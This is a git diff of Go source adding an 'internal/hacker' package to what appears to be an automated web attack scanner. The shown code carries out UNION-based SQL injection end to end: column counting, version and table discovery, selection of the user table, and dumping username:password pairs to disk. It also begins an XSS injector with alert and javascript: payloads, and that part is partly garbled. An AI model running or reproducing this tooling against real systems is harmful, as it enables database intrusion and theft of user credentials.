allOutput.WriteString("USERS DUMPED:\n") + for _, u := range userData { + allOutput.WriteString(fmt.Sprintf(" %s\n", u)) + } + kb.AddCredential(Credential{ + Username: userData[0], + Password: "extracted_from_db", + Source: "sqli", + Valid: false, + }) + findings = append(findings, Finding{ + Type: "sqli_users_dumped", + Name: fmt.Sprintf("Users extracted: %d records", len(userData)), + Severity: SevCritical, + Description: fmt.Sprintf("Dumped %d user records from %s", len(userData), userTable), + Evidence: strings.Join(userData[:minInt(5, len(userData))], ", "), + }) + } + } + } + } + } + + savedPath := kb.ReportDir.Save("sql_dump", "sqli_dump.txt", []byte(allOutput.String())) + findings = append(findings, Finding{ + Type: "sqli_data_saved", + Name: "SQLi data saved to disk", + Severity: SevInfo, + Evidence: savedPath, + }) + + return ActionResult{Findings: findings} +} + +func findColumnCount(ctx context.Context, client *transport.Client, baseURL, param string) int { + for i := 1; i <= 20; i++ { + payload := fmt.Sprintf("' ORDER BY %d--", i) + testURL := baseURL + "?" + param + "=" + strings.ReplaceAll(payload, " ", "%20") + resp, err := client.Do(ctx, &types.Request{Method: "GET", URL: testURL}) + if err != nil { + continue + } + body := string(resp.Body) + if hasSQLError(body) || resp.StatusCode != 200 { + return i - 1 + } + } + return 0 +} + +func extractVersion(ctx context.Context, client *transport.Client, baseURL, param string, cols int) string { + versionPayloads := []string{ + fmt.Sprintf("' UNION SELECT %s--", repeatNullsWithOne("@@version", cols)), + fmt.Sprintf("' UNION SELECT %s--", repeatNullsWithOne("version()", cols)), + fmt.Sprintf("' UNION SELECT %s--", repeatNullsWithOne("database()", cols)), + } + for _, p := range versionPayloads { + testURL := baseURL + "?" + param + "=" + strings.ReplaceAll(p, " ", "%20") + resp, err := client.Do(ctx, &types.Request{Method: "GET", URL: testURL}) + if err != nil { + continue + } + body := string(resp.Body) + if !hasSQLError(body) && len(body) > 20 { + lines := strings.Split(body, "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if strings.Contains(line, ".") || strings.Contains(line, "MySQL") || strings.Contains(line, "MariaDB") || strings.Contains(line, "PostgreSQL") || strings.Contains(line, "SQLite") { + return line + } + if len(line) > 3 && len(line) < 100 && strings.ContainsAny(line, "0123456789.") { + return line + } + } + } + } + return "" +} + +func extractTables(ctx context.Context, client *transport.Client, baseURL, param string, cols int) []string { + var allTables []string + + mysqlPayload := fmt.Sprintf("' UNION SELECT group_concat(table_name),%s FROM information_schema.tables WHERE table_schema=database()--", + repeatNulls(cols-1)) + mysqlURL := baseURL + "?" + param + "=" + strings.ReplaceAll(mysqlPayload, " ", "%20") + resp, err := client.Do(ctx, &types.Request{Method: "GET", URL: mysqlURL}) + if err == nil { + body := string(resp.Body) + if !hasSQLError(body) { + tables := extractStringsFromBody(body) + allTables = append(allTables, tables...) + } + } + + pgPayload := fmt.Sprintf("' UNION SELECT string_agg(table_name,','),%s FROM information_schema.tables WHERE table_schema='public'--", + repeatNulls(cols-1)) + pgURL := baseURL + "?" + param + "=" + strings.ReplaceAll(pgPayload, " ", "%20") + resp2, err := client.Do(ctx, &types.Request{Method: "GET", URL: pgURL}) + if err == nil { + body := string(resp2.Body) + if !hasSQLError(body) { + tables := extractStringsFromBody(body) + for _, t := range tables { + if !containsStr(allTables, t) { + allTables = append(allTables, t) + } + } + } + } + + return allTables +} + +func findUserTable(tables []string) string { + priority := []string{"users", "user", "logins", "accounts", "members", "customers", "admins", "user_accounts", "wp_users"} + for _, p := range priority { + for _, t := range tables { + if strings.EqualFold(t, p) { + return t + } + } + } + for _, t := range tables { + lowT := strings.ToLower(t) + if strings.Contains(lowT, "user") || strings.Contains(lowT, "login") || strings.Contains(lowT, "account") || strings.Contains(lowT, "member") || strings.Contains(lowT, "admin") || strings.Contains(lowT, "customer") || strings.Contains(lowT, "person") || strings.Contains(lowT, "employee") { + return t + } + } + if len(tables) > 0 { + return tables[0] + } + return "" +} + +func extractColumns(ctx context.Context, client *transport.Client, baseURL, param string, cols int, table string) []string { + var allCols []string + + hexTable := toHex(table) + mysqlPayload := fmt.Sprintf("' UNION SELECT group_concat(column_name),%s FROM information_schema.columns WHERE table_name=0x%s--", + repeatNulls(cols-1), hexTable) + mysqlURL := baseURL + "?" + param + "=" + strings.ReplaceAll(mysqlPayload, " ", "%20") + resp, err := client.Do(ctx, &types.Request{Method: "GET", URL: mysqlURL}) + if err == nil { + body := string(resp.Body) + if !hasSQLError(body) { + allCols = extractStringsFromBody(body) + } + } + + return allCols +} + +func extractUsers(ctx context.Context, client *transport.Client, baseURL, param string, cols int, table string, columns []string) []string { + userCol := pickColumn(columns, "username", "user_name", "user", "login", "email", "name", "nickname", "uid") + passCol := pickColumn(columns, "password", "pass", "passwd", "hash", "secret", "token", "auth", "pwd") + + if userCol == "" || passCol == "" { + return nil + } + + payload := fmt.Sprintf("' UNION SELECT group_concat(%s,0x3a,%s),%s FROM %s--", + userCol, passCol, repeatNulls(cols-1), table) + testURL := baseURL + "?" + param + "=" + strings.ReplaceAll(payload, " ", "%20") + resp, err := client.Do(ctx, &types.Request{Method: "GET", URL: testURL}) + if err != nil { + return nil + } + + body := string(resp.Body) + if hasSQLError(body) { + return nil + } + + var users []string + lines := strings.Split(body, "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if strings.Contains(line, ":") && len(line) > 3 && len(line) < 500 { + users = append(users, line) + } + } + + return users +} + +func repeatNulls(n int) string { + if n <= 0 { + return "" + } + parts := make([]string, n) + for i := range parts { + parts[i] = "NULL" + } + return strings.Join(parts, ",") +} + +func repeatNullsWithOne(val string, total int) string { + if total <= 1 { + return val + } + parts := make([]string, total) + parts[0] = val + for i := 1; i < total; i++ { + parts[i] = "NULL" + } + return strings.Join(parts, ",") +} + +func extractStringsFromBody(body string) []string { + var items []string + seen := make(map[string]bool) + + body = strings.ReplaceAll(body, "\n", ",") + body = strings.ReplaceAll(body, "\r", "") + body = strings.ReplaceAll(body, " ", ",") + + parts := strings.Split(body, ",") + for _, p := range parts { + p = strings.TrimSpace(p) + if p == "" || len(p) > 100 || len(p) < 2 { + continue + } + if strings.ContainsAny(p, "<>{}[]()\"'") { + continue + } + if !seen[p] { + seen[p] = true + items = append(items, p) + } + } + return items +} + +func pickColumn(cols []string, priorities ...string) string { + for _, p := range priorities { + for _, c := range cols { + if strings.EqualFold(c, p) { + return c + } + } + } + for _, c := range cols { + lowC := strings.ToLower(c) + for _, p := range priorities { + if strings.Contains(lowC, strings.ToLower(p)) { + return c + } + } + } + return "" +} + +func toHex(s string) string { + hex := "" + for _, c := range []byte(s) { + hex += fmt.Sprintf("%02x", c) + } + return hex +} diff --git a/internal/hacker/types.go b/internal/hacker/types.go new file mode 100644 index 0000000..56db37e --- /dev/null +++ b/internal/hacker/types.go @@ -0,0 +1,124 @@ +package hacker + +import ( + "context" + "time" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" +) + +type Severity string + +const ( + SevInfo Severity = "info" + SevLow Severity = "low" + SevMedium Severity = "medium" + SevHigh Severity = "high" + SevCritical Severity = "critical" +) + +type Capability struct { + Name string + Target string + Details map[string]string +} + +type Finding struct { + Type string + Name string + Severity Severity + Description string + Evidence string + Details map[string]string +} + +type Credential struct { + Username string + Password string + Source string + Valid bool +} + +type Page struct { + URL string + Title string + Forms int + Links []string + JSFiles []string + BodyLen int + Status int +} + +type Endpoint struct { + Path string + Method string + Status int + BodyLen int + ContentType string +} + +type SessionToken struct { + Token string + Type string + Source string + Valid bool +} + +type ChainStep struct { + Action string + Input string + Output string + Success bool + Impact string + Timestamp time.Time +} + +type AttackChain struct { + Name string + Steps []ChainStep + Impact string + RiskScore float64 + Target string +} + +type ActionMetadata struct { + Name string + Description string + Priority int + Requires []string + Provides []string +} + +type ActionResult struct { + Findings []Finding + Actions []Action +} + +type Action interface { + Metadata() ActionMetadata + Execute(ctx context.Context, target string, kb *Knowledge, client *transport.Client) ActionResult +} + +type JWTToken struct { + Raw string + Header map[string]any + Payload map[string]any + Algorithm string + Valid bool + Role string + Subject string +} + +type Report struct { + Target string + Duration time.Duration + Steps int + Impact string + RiskScore float64 + AttackChains []AttackChain + Findings []Finding + Capabilities []Capability + Credentials []Credential + Endpoints []Endpoint + Pages []Page +} diff --git a/internal/hacker/xss.go b/internal/hacker/xss.go new file mode 100644 index 0000000..e55aeb0 --- /dev/null +++ b/internal/hacker/xss.go @@ -0,0 +1,211 @@ +package hacker + +import ( + "context" + "fmt" + "strings" + + "github.com/NICE-DEV226/nice-Scan/internal/transport" + "github.com/NICE-DEV226/nice-Scan/internal/types" +) + +type XSSAction struct{} + +func (a *XSSAction) Metadata() ActionMetadata { + return ActionMetadata{ + Name: "XSS Injector", + Description: "Context-aware XSS payload delivery — "}, + {"HTML ", ""}, + {"HTML ", ""}, + {"HTML ", ""}, + {"HTML ", ""}, + {"HTML
", "
"}, + {"HTML ", "click"}, + {"JS eval", "';alert(1);//"}, + {"JS eval2", "\";alert(1);//"}, + {"JS onerror", "onerror=alert(1)"}, + {"URL javascript:", "javascript:alert(1)"}, + {"HTML